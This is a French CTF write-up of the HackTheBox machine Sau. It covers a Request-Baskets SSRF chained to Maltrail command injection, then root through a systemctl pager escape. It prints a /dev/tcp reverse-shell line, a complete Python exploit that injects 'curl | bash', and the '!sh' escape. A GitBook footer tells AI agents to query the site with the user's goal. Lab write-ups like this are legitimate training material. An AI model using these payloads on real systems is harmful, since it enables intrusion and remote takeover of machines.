> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md).

# Compte rendu HackTheBox de Sau

{% embed url="<https://app.hackthebox.com/machines/sau>" %}

{% hint style="warning" %}
**Compétences :**

* SSRF de Request-Baskets
* Injection de commandes Maltrail
* `systemctl` échappement du pager
  {% endhint %}

## Reconnaissance

Créer un espace de travail pour la sortie du scan, le contenu et les exploits.

```bash
mkdir {nmap,content,script,exploit}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBae3HuI1py4VRc4sALAT%2Fimage.png?alt=media&amp;token=d8c9fe99-72a4-4f2e-ac72-ee6cf564bdcd" alt=""><figcaption></figcaption></figure>

Commencez par un scan TCP complet. Le port `22` et le port `55555` sont ouverts.

```bash
nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F43nnYJD4J4PzaA3QsQKT%2Fimage.png?alt=media&amp;token=e50a6583-9441-44f6-8da6-0bdbfea01636" alt=""><figcaption></figcaption></figure>

Identifiez les versions des services exposés.

```bash
nmap -sCV -p22,55555 10.129.229.26 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCYZ3y5QD4rUryowDP7eA%2Fimage.png?alt=media&amp;token=bc1d6510-3b5e-4dd0-9e35-5b305e41132d" alt=""><figcaption></figcaption></figure>

Le service HTTP est Request-Baskets `1.2.1`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0Wo8u0zTi9dNhBqVzpEw%2Fimage.png?alt=media&amp;token=6a3dc224-3d71-4457-861f-1a28a358c66c" alt=""><figcaption></figcaption></figure>

Cette version est vulnérable à une SSRF via la redirection du panier.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjxxtONmKd3g6ipQMBEdL%2Fimage.png?alt=media&amp;token=062eff0f-20f7-4681-b69d-1369af456eec" alt=""><figcaption></figcaption></figure>

La vulnérabilité nous permet de créer un panier qui transfère les requêtes vers un service interne.

{% embed url="<https://github.com/lukehebe/CVE-2023-27163-POC>" %}

## Accès initial

Request-Baskets peut atteindre le service Maltrail local. Le point de terminaison de connexion de Maltrail accepte l'injection de commandes.

### Préparez l'écouteur

Créez un script de reverse shell. Remplacez `ATTACKER_IP` par votre adresse VPN.

```bash
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
python3 -m http.server 80
nc -nvlp 4444
```

### Exploitez la SSRF

Utilisez le proof of concept lié pour créer un panier. Il transfère les requêtes vers `127.0.0.1`.

Enregistrez le script suivant sous `exploit.py`. Il crée le panier et déclenche le payload Maltrail.

{% code title="exploit.py" overflow="wrap" %}

```python
import argparse
import json
import sys

import requests


def get_args():
    parser = argparse.ArgumentParser(
        description="Exploite CVE-2023-27163 dans Request-Baskets."
    )
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-p", "--port", type=int, default=80)
    parser.add_argument("-b", "--basket", required=True)
    parser.add_argument("--local-ip", required=True)
    parser.add_argument("--local-port", type=int, default=80)
    parser.add_argument("--payload-file", required=True)
    return parser.parse_args()


def create_basket(target_url, basket_name):
    payload = {
        "forward_url": "http://127.0.0.1",
        "proxy_response": True,
        "insecure_tls": False,
        "expand_path": True,
        "capacity": 250,
    }

    response = requests.post(
        f"{target_url}/api/baskets/{basket_name}",
        json=payload,
    )

    if response.status_code in [200, 201, 202]:
        return response.json()["token"]

    print(f"Échec de la création du panier : {response.text}")
    sys.exit(1)


def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file):
    payload_url = f"http://{local_ip}:{local_port}/{payload_file}"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = f"username=;`curl {payload_url} | bash`"

    response = requests.post(
        f"{target_url}/{basket_name}/login",
        data=data,
        headers=headers,
    )

    if response.status_code in [200, 201, 202]:
        print("Payload envoyé. Vérifiez l'écouteur.")
        return

    print(f"Échec du déclenchement du RCE : {response.text}")


def main():
    args = get_args()
    target_url = f"http://{args.target}:{args.port}"
    token = create_basket(target_url, args.basket)
    trigger_rce(
        target_url,
        args.basket,
        token,
        args.local_ip,
        args.local_port,
        args.payload_file,
    )


if __name__ == "__main__":
    main()
```

{% endcode %}

{% code overflow="wrap" %}

```bash
python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh
```

{% endcode %}

L'exploit interroge le point de terminaison de connexion de Maltrail via le panier. Il télécharge `shell.sh` et renvoie un shell.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4wPeIMx0xM3O2k4VGMSc%2Fimage.png?alt=media&amp;token=9f7afcbe-6af8-46c7-9cc1-0676a0d13dad" alt=""><figcaption></figcaption></figure>

### Flag utilisateur

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYICvHrogZMNuv3Jow02p%2Fimage.png?alt=media&amp;token=dfda10c1-48f6-40f1-abbd-6b4221e3123b" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

Vérifiez les autorisations sudo de l'utilisateur actuel.

{% code overflow="wrap" %}

```bash
sudo -l
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxzhGWAlTZRRMjL4dRleP%2Fimage.png?alt=media&amp;token=0cec7d0c-ac46-49fc-b6e4-99fd7c14893f" alt=""><figcaption></figcaption></figure>

L'utilisateur peut consulter le `trail.service` état en tant que root. `systemctl` ouvre la sortie dans `less`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhyNqNitSB4HibBBMmW3W%2Fimage.png?alt=media&amp;token=9ef6366c-caed-40f9-8d7e-411a460eca9e" alt=""><figcaption></figcaption></figure>

Exécutez la commande autorisée. Assurez-vous que la sortie s'ouvre dans le pager.

```bash
sudo /usr/bin/systemctl status trail.service
```

Dans `less` , lancez un échappement de shell.

{% code overflow="wrap" %}

```bash
!sh
```

{% endcode %}

Le shell obtenu s'exécute en tant que `root`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FokMxWp1XBZbdHdldLfAA%2Fimage.png?alt=media&amp;token=6fac9dfb-3b6d-428c-b50b-c486c5f9ac86" alt=""><figcaption></figcaption></figure>

### Flag root

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0ZZPINo0UElEJlbsC1ua%2Fimage.png?alt=media&amp;token=a2ea41a7-e6fd-426c-a26b-58b42c38b416" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
